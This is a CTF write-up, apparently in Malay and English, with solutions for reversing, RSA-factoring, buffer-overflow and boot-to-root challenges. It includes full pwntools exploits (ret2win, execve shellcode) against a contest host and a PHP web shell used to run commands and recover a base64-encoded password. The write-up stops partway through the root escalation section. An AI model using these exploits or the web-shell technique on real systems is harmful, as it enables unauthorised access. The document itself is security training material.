Di balik angka dan aturan sederhana, tersembunyi kisah seorang insan yang pernah mengangkat martabat bangsa. Kod ini bukan sekadar semakan, tetapi kunci untuk membuka lembaran sejarahnya.

Files Given: output.txt, kunci_diraja

Tags: #RE #Python #Modulo #FlagRecovery

Solution

Open kunci_diraja using Binary Ninja to read the content

Looking at the pseudocode:

for (i = 0; i < 39; i++) {
    printf("%d, ", (input[i] + i + 0x2A) % 0x7F);
}
  • Input length must be 39 characters.

  • For each index i, the program:

    • Adds the ASCII value of input[i] with i and 0x2A (42).

    • Takes modulo 0x7F (127).

    • Compares the result against the target array.

If all values match, the program prints a biography of Ungku Abdul Aziz and exits.


From output.txt:

93, 92, 92, 101, 42, 0, 100, 29, …

This is the expected result of the transformation. Our task is to invert the transformation.


We need to solve:

(input[i] + i + 0x2A) % 0x7F = target[i]

Rearranging:

input[i] = (target[i] - i - 0x2A) mod 0x7F

This gives us the original input characters.


Write a quick Python script:

target = [93, 92, 92, 101, 42, 0, 100, 29, 46, 76, 73, 101, 35, 27, 41, 39, 107, 40, 30, 65, 61, 75, 81, 80, 92, 103, 109, 116, 122, 60, 33, 35, 38, 42, 44, 45, 46, 47, 48]
flag = ""

for i, t in enumerate(target):
    val = (t - i - 0x2A) % 0x7F
    flag += chr(val)

print(flag)

Flag: 3108{P4k_Ungku_Pr0f3s0r_Dir4j4_Ek0n0mi}


Cryptography

ADI RaSA...

Question

Adi Putra terkenal dengan kehebatan matematik dia sejak kecil lagI. Hasil inspirasi daripada beliau, saya telah menghasilkan formula baharu untuk menyulitkan maklumat misteri. Sebelum anda dapat selesaikan cabaran ini, anda harus buktikan dulu sejauh mana anda mengenali Adi Putra.

Instance: nc host port

File Given: chal.py

Tags: rsa multi-prime-rsa factorization quiz mathematics sympy

Solution

Analyzing the RSA Implementation

# Content of chal.py
from sympy import randprime
from pathlib import Path
from secret import FLAG

LOW = 2**72
HIGH = 2**73 - 1

p = randprime(LOW, HIGH)
q = randprime(LOW, HIGH)
r = randprime(LOW, HIGH)

while q == p:
    q = randprime(LOW, HIGH)
while r == p or r == q:
    r = randprime(LOW, HIGH)

N = p * q * r  # Multi-prime RSA with 3 factors!
e = 65537

m = int.from_bytes(FLAG, "big")
c = pow(m, e, N)

print(f"N = {N}")
print(f"e = {e}")
print(f"c = {c}")
  • Multi-Prime RSA: Uses N = p × q × r (3 primes)

  • Small Prime Range: Each prime is 72-73 bits (2^72 to 2^73-1)

  • Total Modulus Size: ~216-219 bits (much smaller than secure RSA)

  • Standard Exponent: e = 65537


Quiz Component

nc 5.223.66.228 45933

The server presents a quiz about Adi Putra Abdul Ghani with 4 questions. Through trial and error, the correct answers are:

  1. Question 1: A. Adi Putra Abdul Ghani

  2. Question 2: B. Seni Matematik Islam

  3. Question 3: C. Tokoh Matematik Islam Abad Ini

  4. Question 4: A. PWTC sempena Pesta Buku Antarabangsa

After completing the quiz successfully:

N = 293492960412007278668808616766320338991219616990905534338059009987
c = 145104198865749436686383467165820612598723883288622970363127633064
e = 65537  # Standard value

RSA Analysis

Multi-Prime RSA Weakness:

  • Small Prime Size: Each prime is only 72-73 bits

  • Total Security: ~216-219 bits (vs standard 2048+ bits)

  • Factorization Feasible: Modern algorithms can factor this size

Mathematical Foundation:

  • For multi-prime RSA: φ(N) = (p-1)(q-1)(r-1)

  • Decryption: m = c^d mod N where d ≡ e^(-1) mod φ(N)


Factorization Strategy

The key vulnerability is the small prime sizes. We can use various factorization methods:

  1. SymPy's factorint() - Handles small factors efficiently

  2. Pollard's Rho Algorithm - For medium-sized factors

  3. Fermat's Method - When factors are close

Implementation Approach

def factor_n(n):
    """Try multiple factorization methods"""
    print(f"Attempting to factor N = {n}")
    
    # Try sympy's factorint first (best for this size)
    try:
        print("Trying sympy factorint...")
        factors = factorint(n)
        if len(factors) >= 3:
            factor_list = []
            for prime, count in factors.items():
                factor_list.extend([prime] * count)
            return factor_list
    except:
        pass
    
    # Fallback methods...
    return None

Complete RSA Solver

#!/usr/bin/env python3
from sympy import factorint, gcd, sqrt
from math import isqrt

# RSA values from the server
N = 293492960412007278668808616766320338991219616990905534338059009987
c = 145104198865749436686383467165820612598723883288622970363127633064
e = 65537

def solve_rsa():
    """Solve the multi-prime RSA"""
    print("=" * 50)
    print("SOLVING MULTI-PRIME RSA")
    print("=" * 50)
    
    # Factor N using SymPy
    print(f"Attempting to factor N = {N}")
    print("Trying sympy factorint...")
    
    factors = factorint(N)
    factor_list = []
    for prime, count in factors.items():
        factor_list.extend([prime] * count)
    
    print(f"Factors found: {factor_list}")
    
    if len(factor_list) != 3:
        print(f"Expected 3 factors, got {len(factor_list)}")
        return None
    
    p, q, r = factor_list
    print(f"p = {p}")
    print(f"q = {q}")
    print(f"r = {r}")
    
    # Verify factorization
    if p * q * r != N:
        print("Factorization verification failed!")
        return None
    
    print("Factorization verified!")
    
    # Calculate phi(N) = (p-1)(q-1)(r-1)
    phi_n = (p - 1) * (q - 1) * (r - 1)
    print(f"phi(N) = {phi_n}")
    
    # Calculate private exponent d
    d = pow(e, -1, phi_n)
    print(f"d = {d}")
    
    # Decrypt the ciphertext
    m = pow(c, d, N)
    print(f"Decrypted message (int): {m}")
    
    # Convert to bytes and decode
    flag_bytes = m.to_bytes((m.bit_length() + 7) // 8, 'big')
    flag = flag_bytes.decode('utf-8', errors='ignore')
    print(f"Flag: {flag}")
    return flag

if __name__ == "__main__":
    flag = solve_rsa()
    if flag:
        print(f"\n🎉 SUCCESS! Flag: {flag}")
    else:
        print("\n❌ Failed to solve the challenge")

python3 rsa_solver.py
N = 293492960412007278668808616766320338991219616990905534338059009987
e = 65537
c = 145104198865749436686383467165820612598723883288622970363127633064
N bit length: 218
==================================================
SOLVING MULTI-PRIME RSA
==================================================
Attempting to factor N = 293492960412007278668808616766320338991219616990905534338059009987
Trying sympy factorint...
Factors found: [8269102763695880823611, 5430897953231074212767, 6535332035423657364551]
p = 8269102763695880823611
q = 5430897953231074212767
r = 6535332035423657364551
Factorization verified!
phi(N) = 293492960412007278668674174059475265810726420024465771945447533000
d = 6645765800256630629176075717598628171309611476208969064300229473
Decrypted message (int): 42454387885183227758761122397918534987770964838843287355272148046
Flag: g3n1uS_m4th3MAT1K_D1lUp4k4N

🎉 SUCCESS! Flag: g3n1uS_m4th3MAT1K_D1lUp4k4N

Flag: 3108{g3n1uS_m4th3MAT1K_D1lUp4k4N}


The Pocket Rocketman

Question

Azizulhasni Awang, legenda lumba basikal trek Malaysia, digelar The Pocket Rocketman kerana tubuhnya kecil tetapi kuasanya luar biasa. Di trek, beliau meluncur pantas dan lincah, memecut dengan kelajuan yang menggerunkan lawan. Dalam perlumbaan keirin, strategi, ketepatan, dan fokus menjadi senjata utamanya – membuktikan bahawa kejayaan bukan bergantung pada saiz, tetapi kecekapan dan teknik.

File Given: thepockerocketman.pdf

Solution
  1. Opened the challenge file and noted the given RSA parameters: $n$, $e$, and ciphertext $c$.

  2. The description hinted that the primes were very close in value, so I used a Fermat factorization script (solve_pocket_rocketman.py) to factorize $n$.

  3. The script successfully produced the prime values $p$ and $q$.

  4. With $p$ and $q$, the script calculated the private key and decrypted the ciphertext.

  5. The decrypted output, when converted to ASCII, revealed the flag as 3108{Muh4mm4d_Az1zulH4sn1_Th3_P0ck3t_R0ck3tm4n_88}

Flag: 3108{Muh4mm4d_Az1zulH4sn1_Th3_P0ck3t_R0ck3tm4n_88}


Shila's Song & City

Question

Shila Amzah dikenali sebagai salah satu penyanyi Malaysia yang berjaya di pentas antarabangsa. Dia lahir di sebuah bandar ibu negara Malaysia dan pernah menghasilkan sebuah lagu popular yang menjadi titik permulaannya di luar negara.

File Given: liriklagu.txt

Solution
  • If you read the liriklagu.txt carefully, you’ll notice that 3108{ already appears on one of the lines.

  • To decode it, copy that line starting from 3108{ up to the closing bracket } and paste it into dcode.fr/cipher-identifier for analysis.

  • Then, choose Skip Cipher and run the Automatic Skip Finder decrypt option. The flag will be revealed.

Flag: 3108{ShaH1l4_Sh1l4_4mz4h_14KL}


Putri Catur Negara (not solved)

Question

Solution


Reversing

Mundurkah kita?

Question

Apakah rahsia yang tersembunyi di alam sebalik mata ini.

File Given: simple_calculator.zip

Tags: windows-pe binary-analysis static-analysis string-analysis hidden-flag

Solution
file simple_calculator.exe
# Expected: PE32+ executable (GUI) x86-64, for MS Windows

Understanding the Application Structure

First, I open the .exe in Binary Ninja to examined the HLIL file to understand the application's basic structure:

  • The application is a Windows GUI calculator

  • Main entry point: wWinMain function

  • Window procedure: eadDoubleP6HWND__Rb

  • Core calculation function: gLblOut

Analyzing the Calculator Functionality

Looking at the main window procedure and calculation logic:

  1. Creates a window titled "Gostan" with two input fields

  2. Button with ID 0x44d triggers calculation

  3. gLblOut function:

    • Calls tod(_.bss, &var_21) - gets first number

    • Calls tod(egister_frame, &var_22) - gets second number

    • Validates both inputs are valid numbers

    • Performs addition: zmm0_1.q = zmm0 f+ zmm0_1.q

    • Displays result

Searching for Hidden Content

Since the hint mentioned secrets "behind the eyes," I searched for unusual patterns and strings:

Found the hidden flag in the .rdata section:

11004-
11005-14000fc48                          00 00 00 00 00 00 00 00                                                          ........
11006-
11007:14000fc50  void* _3108{nothing_beats_the_string_method} .rdata$.refptr._gnu_exception_handler = _.text
11008-
11009-14000fc58                                                                          00 00 00 00 00 00 00 00                          ........
11010-

Flag: 3108{nothing_beats_the_string_method}


No Name

Question

Cari rahsia tersembunyi dalam file tersebut:

Nama File: noname.tar.gz

Tags: static-analysis binary-analysis flag-extraction rodata-section binary-ninja hlil

Solution
  • Extract the .tar and .gz twice using 7zip to get the file noname

  • Use binary ninja to export the .hlil to analyze whats inside

Looking at the main function in the HLIL:

int32_t main(int32_t argc, char** argv, char** envp)
{
    std::__ostream_insert<char>(__out: &std::cout, __s: "can this program be run", __n: 0x17);
    return 0;
}

The main function only prints the message we saw and exits. This is clearly a decoy!

The HLIL analysis reveals multiple functions with MD5 hash names:

int64_t __5d41402abc4b2a76b9719d911017c592()
int64_t __c4ca4238a0b923820dcc509a6f75849b()
int64_t __c81e728d9d4c2f636f067f89cc14862c()
// ... and many more

These functions contain calls to std::__ostream_insert that would print parts of a string, but they're never called by main.

The key discovery was in the .rodata section:

.rodata (PROGBITS) section started  {0x2000-0x203c}
00002000  uint32_t _IO_stdin_used = 0x20001
00002004  char const data_2004[0x18] = "can this program be run", 0
0000201c  wchar16 const data_201c[0xf] = "3108{predictabl"
0000203a  wchar16 const data_203a[0x0] = 
0000203a  {
0000203a  }
0000203a                                                                                7d 00                                        }.
  • "3108{predictabl" at address 0x201c

  • 7d 00 (hex for }) immediately following

From the analysis, I can see the flag format 3108{predictabl followed by the closing brace }.

However, the word appears to be incomplete. The logical completion would be "predictable" - adding an "e" to complete the word.

Flag: 3108{predictable}


Pwn Exploitation

Sudirman Microphone Tuner

Question

Sudirman? Mikrofon pun boleh jadi senjata.

Instance: nc host port

Files Given: Dockerfile, flag.txt, sudirman_mic

Tags: buffer-overflow stack-alignment x64-pwn ret2win address-leak no-protections

Solution

First, let's examine what we're working with:

# Check file type and architecture
$ file sudirman_mic
sudirman_mic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=094ce005b55fa2f95542fa2e2dce6aae42bf9722, for GNU/Linux 3.2.0, not stripped
  • 64-bit x86-64 architecture

  • Dynamically linked

  • Not stripped (good for analysis!)

# Check security protections
$ checksec --file=sudirman_mic
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols         FORTIFY Fortified  Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   45 Symbols      No    0             2         sudirman_mic

Critical findings:

  • No stack canary - Buffer overflows possible

  • NX disabled - Stack is executable (though we won't need this)

  • No PIE - Fixed addresses, no ASLR for executable

  • Partial RELRO - Some GOT entries writable

This binary has minimal security protections - perfect for exploitation!

# Extract readable strings
$ strings sudirman_mic
cat /app/flag.txt                    # This looks like our target!
[DEBUG] secret_song() at %p          # Address leak!
Enter your lyrics:                   # Input prompt
Sudirman would be proud: %s          # Output format
secret_song                          # Function name
mic_input                           # Input function
tuner_leak                          # Leak function

The strings reveal:

  1. There's a secret_song() function that executes cat /app/flag.txt

  2. The program leaks the address of secret_song()

  3. There's a mic_input() function that likely contains the vulnerability

Let's run the program to understand its behavior:

$ chmod +x sudirman_mic
$ echo "test" | ./sudirman_mic
🎵 Sudirman Microphone Tuner 🎵
[DEBUG] secret_song() at 0x40121b
🎤 Enter your lyrics:
Sudirman would be proud: test
🎶 Tune completed.
  • Program leaks secret_song() address: 0x40121b

  • Takes user input after "Enter your lyrics:"

  • Prints back our input in the format string

Let's examine the key functions:

Main Function Flow

$ objdump -d sudirman_mic | grep -A 20 "<main>"

Main function calls:

  1. tuner_leak() - Leaks the secret_song address

  2. mic_input() - Takes user input (likely vulnerable)

Secret Song Function (Our Target)

$ objdump -d sudirman_mic | grep -A 10 "<secret_song>"
000000000040121b <secret_song>:
  40121b:  f3 0f 1e fa    endbr64
  40121f:  55             push   %rbp
  401220:  48 89 e5       mov    %rsp,%rbp
  401223:  48 8d 05 de 0d lea    0xdde(%rip),%rax    # 402008 <_IO_stdin_used+0x8>
  40122a:  48 89 c7       mov    %rax,%rdi
  40122d:  e8 5e fe ff ff call   401090 <system@plt>
  401232:  90             nop
  401233:  5d             pop    %rbp
  401234:  c3             ret

The function calls system() with a string at 0x402008, which contains "cat /app/flag.txt".

Vulnerable Input Function

$ objdump -d sudirman_mic | grep -A 15 "<mic_input>"
000000000040125e <mic_input>:
  40125e:  f3 0f 1e fa    endbr64
  401262:  55             push   %rbp
  401263:  48 89 e5       mov    %rsp,%rbp
  401266:  48 83 ec 40    sub    $0x40,%rsp         # Allocate 64 bytes for buffer
  40126a:  48 8d 05 c6 0d lea    0xdc6(%rip),%rax
  401271:  48 89 c7       mov    %rax,%rdi
  401274:  e8 07 fe ff ff call   401080 <puts@plt>
  401279:  48 8d 45 c0    lea    -0x40(%rbp),%rax   # Buffer at rbp-0x40 (64 bytes)
  40127d:  ba 80 00 00 00 mov    $0x80,%edx         # Read 128 bytes!!!
  401282:  48 89 c6       mov    %rax,%rsi
  401285:  bf 00 00 00 00 mov    $0x0,%edi
  40128a:  e8 21 fe ff ff call   4010b0 <read@plt>
  • Buffer size: 64 bytes (sub $0x40,%rsp)

  • Read size: 128 bytes (mov $0x80,%edx)

  • Classic buffer overflow! We can read 64 bytes more than the buffer can hold.

Exploitation:

  1. Use the address leak to get secret_song() address

  2. Overflow the buffer to overwrite the return address

  3. Redirect execution to secret_song() function

  4. Handle x64 stack alignment (this is crucial!)

Buffer Layout Analysis

In x64 architecture:

[64-byte buffer][8-byte saved RBP][8-byte return address]

So we need:

  • 64 bytes to fill the buffer

  • 8 bytes to overwrite saved RBP

  • 8 bytes for our target return address

  • Total: 80 bytes (72 bytes padding + 8 bytes return address)

Initial Attempt (Failed)

from pwn import *

p = remote('5.223.66.228', 36361)
p.recvuntil(b'[DEBUG] secret_song() at ')
leaked_addr = int(p.recvline().strip(), 16)
p.recvuntil(b'Enter your lyrics:')

payload = b'A' * 72 + p64(leaked_addr)
p.sendline(payload)
response = p.recvall(timeout=3)

Result: No flag received. The program doesn't crash but doesn't execute our target function.

In x64 architecture, the stack must be 16-byte aligned before calling functions. When secret_song() calls system(), the stack might not be properly aligned, causing the call to fail silently.

The solution is to use a RET gadget for stack alignment:

from pwn import *
context.arch = 'amd64'
context.log_level = 'info'

print('[+] Connecting to remote server...')
p = remote('5.223.66.228', 36361)

print('[+] Receiving banner and leak...')
p.recvuntil(b'[DEBUG] secret_song() at ')
leaked_addr = p.recvline().strip()
print(f'[+] Leaked secret_song address: {leaked_addr}')

secret_song_addr = int(leaked_addr, 16)
print(f'[+] secret_song address: 0x{secret_song_addr:x}')

# RET gadget for stack alignment (from main function's end)
ret_gadget = 0x40130b  # ret instruction

p.recvuntil(b'Enter your lyrics:')

# Build payload with stack alignment
padding = b'A' * 72                    # Fill buffer + saved RBP
ret_addr = p64(ret_gadget)             # RET gadget for alignment
target_addr = p64(secret_song_addr)    # secret_song function

payload = padding + ret_addr + target_addr
print(f'[+] Sending payload of {len(payload)} bytes...')
p.sendline(payload)

print('[+] Receiving response...')
response = p.recvall(timeout=3)
print(f'[+] Response: {response}')

if b'3108{' in response:
    print('[+] FLAG FOUND!')

p.close()
$ python3 exploit.py
[+] Connecting to remote server...
[+] Opening connection to 5.223.66.228 on port 36361: Done
[+] Receiving banner and leak...
[+] Leaked secret_song address: b'0x40121b'
[+] secret_song address: 0x40121b
[+] Sending payload of 88 bytes...
[+] Receiving response...
[+] Receiving all data: Done (378B)
[*] Closed connection to 5.223.66.228 port 36361
[+] Response: b'\nSudirman would be proud: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0b\x13@\n****************************************************\r\n*                                                  *\r\n*   🎤 FLAG: 3108{sud1rm4n_p3ny4ny1_t3rs0h0r} 🎶   *\r\n*                                                  *\r\n****************************************************\r\n\r\n'
[+] FLAG FOUND!

Flag: 3108{sud1rm4n_p3ny4ny1_t3rs0h0r}


Pertahanan Terakhir

Question

Leftenan Adnan merupakan antara wira yang sangat disanjungi di kalangan rakyat Malaysia dan Singapura kerana sifat beliau yang berani dan enggan menyerah kalah saat bertempur dengan tentera Jepun pada 1942.

Instance: nc host port

File Given: chall, libc.so.6, Dockerfile

Tags: #buffer-overflow #shellcode #stack-executable #pwn #binary-exploitation #stack-leak

Solution

First, let's examine the provided files:

# Check file types
file chall
file libc.so.6
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ec80e18cfdf195ee7ccd856956ebf64d05449337, for GNU/Linux 3.2.0, not stripped
  • 64-bit ELF binary

  • PIE (Position Independent Executable) enabled

  • Not stripped (symbols available)

  • Dynamically linked

Binary Security Analysis

# Check security protections using pwntools
python3 -c "from pwn import *; elf=ELF('./chall'); print(elf.checksec())"
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX unknown - GNU_STACK missing
PIE:        PIE enabled
Stack:      Executable
RWX:        Has RWX segments
  • Stack is executable - We can execute shellcode directly

  • No stack canaries - No stack protection

  • PIE enabled - Addresses are randomized

  • Full RELRO - GOT is read-only


Binary Analysis

Let's examine the binary's functions and strings:

# Check for interesting strings
strings chall

# Get function symbols
objdump -t chall | grep -E "(main|setup|banner|perang)"

Key Functions Identified:

  • main() - Entry point

  • setup() - Initialize buffers

  • banner() - Display banner

  • perang() - Critical function (means "war" in Malay)

Dynamic Analysis

# Run the binary locally to understand behavior
./chall

Program Flow:

  1. Displays an ASCII art banner with military theme

  2. Shows message: "Tentera Jepun semaking dekat dan terdapat kebocoran di [ADDRESS]"

  3. Asks for first input (commander's orders)

  4. Asks for second input (counter-attack request)

  5. Responds with "Baik, Tuan!" (Yes, Sir!)

Key Observation: The program leaks a stack address via printf("%p")!

Source Code Analysis (via HLIL)

Open the chall in Binary Ninja to read their HLIL, we can see the perang() function:

int64_t perang()
{
    void buf
    printf(format: &data_2128, &buf)  // Leaks buf address
    sleep(seconds: 2)
    printf(format: &data_2198)
    
    void buf_1
    fgets(buf: &buf_1, n: 0x18, fp: stdin)  // First input (24 bytes max)
    printf(format: &data_21c8)
    
    fgets(&buf, n: 0x5a, fp: stdin)  // Second input (90 bytes) - VULNERABILITY!
    return puts(str: &data_220d)
}

Buffer Layout Analysis:

lea    -0x40(%rbp),%rax   # buf is at rbp-0x40 (64 bytes from saved rbp)
lea    -0x20(%rbp),%rax   # buf_1 is at rbp-0x20 (32 bytes from saved rbp)

Vulnerability Discovery

The Vulnerability:

  • buf is allocated 64 bytes from rbp

  • fgets() reads up to 90 bytes (0x5a) into buf

  • This allows 26 bytes of overflow past the buffer

Memory Layout:

High Address
+------------------+
| Return Address   | <- rbp + 8  (Target)
+------------------+
| Saved RBP        | <- rbp + 0
+------------------+
| Local Variables  |
+------------------+
| buf_1 (24 bytes) | <- rbp - 0x20
+------------------+  
| padding          |
+------------------+
| buf (64 bytes)   | <- rbp - 0x40 (overflow source)
+------------------+
Low Address

Overflow Calculation:

  • Distance to return address: 0x40 + 8 = 72 bytes

  • Controllable overflow: 90 - 64 = 26 bytes ✅ (enough to overwrite return address)

What we have:

  1. ✅ Stack address leak (exact location of our buffer)

  2. ✅ Executable stack (can run shellcode)

  3. ✅ Buffer overflow (can control return address)

  4. ✅ No stack canaries (no protection bypass needed)

What we need:

  1. Shellcode to execute /bin/sh or read flag

  2. Calculate proper buffer offset

  3. Return to our shellcode using the leaked address


Exploitation Strategy

Attack Vector: Classic shellcode injection

  1. Leak Capture: Extract the stack address from program output

  2. Shellcode Injection: Place shellcode at the beginning of the buffer

  3. Return Address Overwrite: Overwrite return address with leaked buffer address

  4. Shell Execution: Execute commands to read the flag

Why this works:

  • Stack is executable (no NX bypass needed)

  • We know the exact address to return to (stack leak)

  • No canaries to bypass

  • PIE doesn't matter since we're using leaked addresses


Exploit Development

#!/usr/bin/env python3
from pwn import *

# Set context
context.arch = 'amd64'
context.log_level = 'info'

# Binary and libc
elf = ELF('./chall')
libc = ELF('./libc.so.6')

# Remote connection info
HOST = '5.223.66.228'
PORT = 40237

def connect():
    if args.REMOTE:
        return remote(HOST, PORT)
    else:
        return process('./chall')

def exploit():
    io = connect()
    
    # Wait for the banner and stack leak
    io.recvuntil(b'kebocoran di ')
    stack_leak = io.recvuntil(b',', drop=True)
    stack_addr = int(stack_leak, 16)
    log.info(f"Stack leak: {hex(stack_addr)}")
    
    # Receive the first prompt
    io.recvuntil(b'> ')
    io.sendline(b'A' * 8)  # First input (dummy)
    
    # Receive second prompt  
    io.recvuntil(b'> ')
    
    # TODO: Create shellcode and payload
    
    io.interactive()

if __name__ == '__main__':
    exploit()

Shellcode Development

# Generate shellcode for execve("/bin/sh", NULL, NULL)
shellcode = asm("""
    /* Prepare /bin/sh string */
    mov rax, 0x68732f6e69622f /* '/bin/sh' in little endian */
    push rax
    mov rdi, rsp                /* rdi = pointer to "/bin/sh" */
    
    xor esi, esi               /* argv = NULL */
    xor edx, edx               /* envp = NULL */
    
    mov rax, 59                /* sys_execve */
    syscall
""")

Shellcode Analysis:

  • Length: 27 bytes (fits easily in 64-byte buffer)

  • Standard execve syscall to spawn /bin/sh

  • Self-contained (constructs /bin/sh string on stack)

Payload Construction

# Build payload
payload = shellcode
payload += b'A' * (72 - len(shellcode))  # Pad to return address
payload += p64(stack_addr)  # Return to our shellcode

log.info(f"Payload length: {len(payload)}")
log.info(f"Returning to shellcode at: {hex(stack_addr)}")

io.sendline(payload)

Local Testing:

# Test locally first
python3 exploit.py

# Test against remote
python3 exploit.py REMOTE

Common Issues Encountered:

  1. Wrong offset calculation - Fixed by careful assembly analysis

  2. Shellcode too long - Optimized to 27 bytes

  3. Address format parsing - Handled hex string conversion properly


Flag Extraction

#!/usr/bin/env python3
from pwn import *
import time

# Set context
context.arch = 'amd64'
context.log_level = 'info'

# Remote connection info
HOST = '5.223.66.228'
PORT = 40237

def get_flag():
    io = remote(HOST, PORT)
    
    # Wait for the banner and stack leak
    io.recvuntil(b'kebocoran di ')
    stack_leak = io.recvuntil(b',', drop=True)
    stack_addr = int(stack_leak, 16)
    log.info(f"Stack leak: {hex(stack_addr)}")
    
    # Receive the first prompt
    io.recvuntil(b'> ')
    io.sendline(b'A' * 8)
    
    # Receive second prompt  
    io.recvuntil(b'> ')
    
    # Shellcode for execve("/bin/sh", NULL, NULL)
    shellcode = asm("""
        /* Prepare /bin/sh string */
        mov rax, 0x68732f6e69622f /* '/bin/sh' */
        push rax
        mov rdi, rsp                /* rdi = pointer to "/bin/sh" */
        
        xor esi, esi               /* argv = NULL */
        xor edx, edx               /* envp = NULL */
        
        mov rax, 59                /* sys_execve */
        syscall
    """)
    
    log.info(f"Shellcode length: {len(shellcode)}")
    
    # Build payload
    payload = shellcode
    payload += b'A' * (72 - len(shellcode))  # Pad to return address
    payload += p64(stack_addr)  # Return to our shellcode
    
    log.info(f"Sending payload...")
    io.sendline(payload)
    
    # Wait for shell
    time.sleep(1)
    
    # Send flag reading commands
    io.sendline(b'cat /app/flag.txt')
    io.sendline(b'echo "=== END ==="')
    
    # Receive everything
    all_data = io.recvall(timeout=10)
    
    # Extract flag from ASCII art output
    data_str = all_data.decode('utf-8', errors='ignore')
    
    # Look for flag pattern
    import re
    flag_match = re.search(r'3108\{[^}]+\}', data_str)
    if flag_match:
        return flag_match.group(0)
    
    return None

if __name__ == '__main__':
    flag = get_flag()
    if flag:
        print(f"\n🎉 SUCCESS! FLAG: {flag}")
    else:
        print("\n❌ Could not find flag")
python3 final_flag.py

Output Analysis: The flag was embedded in ASCII art output from /app/flag.txt:

⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⡏⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀    3108{l4st_st4nd_4t_buk1t_c4ndu}

Flag: 3108{l4st_st4nd_4t_buk1t_c4ndu}


Bapa Kemerdekaan (not solved)

Question

Solution


Boot-2-Root

Menara Berkembar KLCC (User) & (Root)

Question

Sebuah pelayan web milik “KLCC Tower” telah diceroboh dan disyaki mengandungi konfigurasi yang tidak selamat. Tugas anda adalah untuk mendapatkan akses ke pelayan ini, bermula dari point permulaan (initial foothold) sehingga mendapatkan kawalan penuh (root access).

Files Given: Ubuntu Server.ovf, Ubuntu_server-disk1.vmdk, Ubuntu Server.mf

Tags: #WebShell #FileUpload #WildcardInjection #PrivilegeEscalation #TarExploit #SudoMisconfiguration #InformationDisclosure #Base64Decoding #SUI

Solution

Open the Server on your Virtual Machine and identified the Machine IP

Identify open services and potential attack vectors

nmap -sC -sV -oA initial_scan 192.168.38.129
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rwxr-xr-x    1 111      112            52 Jul 19 01:08 file2.txt
|_drwxr-xr-x    2 111      112          4096 Jul 19 01:10 pub
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: KLCC Internal Portal

Key Findings:

  • FTP (21): Anonymous access allowed with files

  • SSH (22): Standard OpenSSH service

  • HTTP (80): Apache web server with "KLCC Internal Portal"

FTP Enumeration

Objective: Extract files from anonymous FTP access

wget -r ftp://anonymous:anonymous@192.168.38.129/

Files Retrieved:

  • /file2.txt: "Not all towers lead up. Some files are just floors."

  • /pub/file2.txt: Same content (cryptic hint)

Analysis: The message appears to be a hint about hidden files or directories ("floors" vs "towers").


Initial Web Reconnaissance

Objective: Analyze the web application for vulnerabilities

curl -s http://192.168.38.129/ | cat

Critical Discovery in HTML Source:

<!-- TODO: Legacy upload still active at /klcc_uploader.php -->
<!-- Remove before deployment to production -->

Upload Vulnerability Discovery

Objective: Test the legacy upload functionality

curl -s http://192.168.38.129/klcc_uploader.php
<h2>KLCC Upload Portal</h2>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" value="Upload" />
</form>

Vulnerability Assessment: No visible file type restrictions or validation.


Web Shell Creation

Objective: Gain code execution through file upload

Payload Created:

<?php system($_GET['cmd']); ?>

Upload Command:

curl -X POST -F "file=@shell.php" http://192.168.38.129/klcc_uploader.php

Response:

Uploaded: <a href='upload/shell.php'>shell.php</a>

Code Execution Testing

Objective: Verify web shell functionality

curl "http://192.168.38.129/upload/shell.php?cmd=id"
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl "http://192.168.38.129/upload/shell.php?cmd=whoami"
# Output: www-data

Result: Successfully gained code execution as www-data user.


File System Exploration

Objective: Discover sensitive files and potential privilege escalation vectors

# Check web directory structure
curl "http://192.168.38.129/upload/shell.php?cmd=ls%20-la%20/var/www/html/"

Key Discovery:

drwxr-xr-x 3 root root 4096 Jul 19 02:44 apache2
-rw-r--r-- 1 root root  617 Jul 19 00:55 klcc_uploader.php

Apache2 Directory Investigation

Explore the protected apache2 directory

curl "http://192.168.38.129/upload/shell.php?cmd=ls%20-la%20/var/www/html/apache2/"

Findings:

-rw-r--r-- 1 root root   31 Jul 19 02:44 .htaccess
drwxr-xr-x 2 root root 4096 Aug  9 12:29 mysql

Security Note: .htaccess file contains Deny from all, protecting web access but not filesystem access.

Credential Discovery

Extract database credentials from mysql directory

curl "http://192.168.38.129/upload/shell.php?cmd=cat%20/var/www/html/apache2/mysql/secret"

Encrypted Content:

W2RiXVxudXNlciA9IGpvaG5cbnBhc3N3b3JkID0ga2xjY1Bvd2VyMjAyNCE=

Decryption Process:

echo "W2RiXVxudXNlciA9IGpvaG5cbnBhc3N3b3JkID0ga2xjY1Bvd2VyMjAyNCE=" | base64 -d
[db]
user = john
password = klccPower2024!

Credential Validation

Test discovered credentials for user access

# Test via web shell
curl "http://192.168.38.129/upload/shell.php?cmd=echo%20%27klccPower2024%21%27%20|%20su%20john%20-c%20%27whoami%27"
# Output: john

Result: Credentials are valid for user john.

SSH Access Establishment

Note: Since the su command worked through the web shell, we effectively have john user access. The challenge demonstrated that we could escalate from www-data to john user.

User Flag Retrieval

cat /home/john/user.txt
# Flag: 3108{welcome_to_the_upper_deck}

Flag: 3108{welcome_to_the_upper_deck}


Root Privilege Escalation

Sudo Privilege Analysis

Identify root escalation vectors

sudo -l
User john may run the following commands on klcctower:
    (ALL) NOPASSWD: /usr/local/bin/backup.sh

Backup Script Analysis

